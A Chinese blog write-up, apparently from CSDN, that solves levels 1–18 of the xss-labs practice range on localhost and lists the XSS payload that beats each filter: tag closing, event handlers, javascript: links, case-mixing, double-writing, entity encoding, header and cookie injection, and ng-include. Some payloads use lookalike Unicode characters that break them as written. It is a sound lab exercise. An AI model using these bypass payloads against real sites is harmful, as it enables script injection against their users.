xss-labs-master靶场

level1

发现有一个name参数,值为test;对name进行payload注入

name=<script>alert('hack')</script>

说明源码是完全没有对get请求到的name变量进行过滤,所以会被执行。

level2

1.test是以get请求发送的变量,2.在页面上发现了用户发送的变量

查看源码

发现我们输入的内容是一个文本框的value值,这样浏览器是不会执行我们的注入语句的,所以我们要构造标签闭合

构造闭合标签,把input标签闭合掉,然后写个script标签

"> <script>alert('hack')</script> //

level3

查看源码发现和第二关差不多,先用第二关的试一下

发现h2和input处的<,>这样地敏感字符编码成了html字符实体。猜测服务器在这两处都用htmlspecialchars()函数进行了处理。

利用input标签里的特殊事件,来执行js代码,例如onfocus语句,然后只需要闭合value的那个引号即可,注意,)后面需要加个空格,构造url

发现页面并无多大变化,这是因为onfocus事件是JavaScript中对象获得焦点时发生的事件,最简单的实例就是网页上的一个搜索框,当鼠标点击该输入框,输入框被选中可以输入内容时就是该输入框获得焦点的时刻,此时输入框就会触发onfocus事件,因此点击当前页面输入框即可。

level4

利用简单的弹窗语句试一下

发现h2将<转义了,下面的value中的<被删除了,所以,利用第四关的input标签的特殊事件onfocus,此处将单引号改为双引号构造url

"οnfοcus=javascript:alert('xss') 

level5

思路和前几关差不多,先用闭合标签试一下,

“ οnclick=”alert(123)

发现对事件on做了过滤,在他们中间加了一个_

第二种思路,用闭合标签,还是不行,对script标签也做了过滤

还可以使用a标签的href属性来构造payload

' "><a href='javascript:alert(123);'>点击我</a>

level6

一样的思路,先用闭合属性试试

闭合标签

用a标签试试

接下来我们可以尝试一下大小写混合绕过,将href大写

"><a HREF='javascript:alert(123);'>aaa</a>

用闭合属性试一下,同时大小写混合,也可以绕过去

level7

先试一下大小写混写能不能绕过,发现对on字项进行了整体替换

我们可以尝试双写绕过,比如oonn这样的话只会把中间的on替换为空,就剩下on了

" oonnclick="alert(123)

对script标签试一下

" ><sscriptcript>alert('hack')</sscriptcript> //

level8

查看源码发现我们输入的内容是input框的value,同时会当作友情链接a标签的href属性,我们尝试闭合a标签的href属性,构造新属性。

当我们测试时发现,javascript不仅加了_,并且使用了html编码,将特殊符号进行了编码,导致不能进行标签闭合。我们可以尝试html实体编码绕过,因为属性值是可以进行编码绕过的。

编码:
// 采用十进制ascii码
&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#34;&#106;&#97;&#100;&#101;&#110;&#34;&#41;
// 或者十六进制unicode编码
&#x006a;&#x0061;&#x0076;&#x0061;&#x0073;&#x0063;&#x0072;&#x0069;&#x0070;&#x0074;&#x003a;&#x0061;&#x006c;&#x0065;&#x0072;&#x0074;&#x0028;&#x0022;&#x006a;&#x0061;&#x0064;&#x0065;&#x006e;&#x0022;&#x0029;

level9

有一个友情链接,查看后端代码其实是http协议校验,那么我们可以用注释符号

结合编码和js的注释符

&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#34;&#106;&#97;&#100;&#101;&#110;&#34;&#41;//http://www.baidu.com

level10

查看源代码发现三个隐藏的input,那么根据他们的name构造传值

根据三个input框的name值进行传值发现,t_sort传的值作为value属性的值渲染到页面上,所以针对name属性为t_sort的input标签进行注入,可以闭合属性,构造新的属性,同时把type=“hidden”属性替换掉,就可以看到页面效果。

'" type='text' onclick='alert(123)' 
'" type='text' onblur='javascript:alert("hack")' 

隐藏的文本框显示出来了,点击之后就会出现弹窗

level11

页面上没有任何可以输入的地方,查看源码发现有四个隐藏的输入框,发现t_ref是refer字段的值,来自第十关的URL

回到第十关,弹窗出现时,先打开burpsuite,再点击确定,这样就会抓到第十一关的数据包,然后修改refer字段的值为payload,然后放行

'" type='text' onclick='alert(123)' 
'" type='text' onblur='javascript:alert("hack")' 

这时候就会出现文本框,先点击文本框获得焦点,然后点击文本框外面失去焦点,就成功了。

level12

查看源码发现和上一关一样,只不过这里渲染的是上一关的user-agent请求头,所以先回到上一关,

用burpsuite进行抓包后,将user-agent值改为payload(和上一关相同),然后放行。

出现输入框之后点击就可以了

level13

和十一,十二关一样,但是这次是cookie数据用burp抓包后修改就成功了

level14

点击进入十五关,在这里需要修改一下URL

level15

这一关需要借助到一个新的属性,angularJS的ng-include

ng-include 指令用于包含外部的 HTML 文件。

包含的内容将作为指定元素的子节点。

ng-include 属性的值可以是一个表达式,返回一个文件名。

默认情况下,包含的文件需要包含在同一个域名下。

那么我们可以直接引用第一关网址的html文件网址路径来试一下

http://127.0.0.1/xss-labs-master/level1.php?name=test

将src修改后,下面渲染结构有一个部分也改变了

构造payload

http://127.0.0.1/xss-labs-master/level15.php?src='http://127.0.0.1/xss-labs-master/level1.php?name=test<img src=1 οnerrοr=alert("hack")>'


level16

发现接受一个keword参数,输出到页面上

先用标签试一下,看能不能成功

<img src=1 οnerrοr=alert("hack")>

发现空格被实体编码了,我们可以尝试用换行替代空格的方法进行绕过,可以先将换行进行URL编码%0D%0A,

<img%0D%0Asrc=1%0D%0Aοnerrοr=alert("hack")>

level17

embed标签可以理解为定义了一个区域,可以放图片、视频、音频等内容,也可以绑定各种事件,比如尝试绑定一个onmouseover事件。

' οnmοuseοver=alert("hack")

level18

和第十七关一样

  • 9
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值